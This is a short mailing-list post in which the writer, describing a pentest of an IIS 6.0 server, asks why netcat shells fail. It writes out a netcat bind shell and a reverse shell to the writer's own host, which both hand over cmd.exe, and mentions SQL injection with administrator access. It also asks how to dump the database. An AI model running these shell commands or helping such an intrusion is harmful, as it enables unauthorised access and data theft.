Netcat Question

[intel96 <intel96 () bellsouth net>]

To All,

I am conducting a pentest and I have been able to upload netcat to the 
web server (IIS 6.0 - with ports 80/443 open) via ftp. I have tried to 
establish a shell both ways, but cannot get it to work:

On the web server I first tried: nc.exe –l –p 8000 –e cmd.exe

When I tried to connect to port 8000 on the web server I received a 
timeout on my side. I have also tried this with port 53 and it also did 
not work.

I than tried: nc.exe –nv my_public_ip_address 443 -d –e cmd.exe

This did not work either. I did not see the remote system trying to 
connect to my system via my logs. I have access to upload anything to 
the system and run most commands via sql injections. I have 
administrator level access on the system at this time.

Any ideas on how I can get this shell to work? Or there any other 
commands that may provide me more access or allow me to dump the database?

Thanks,
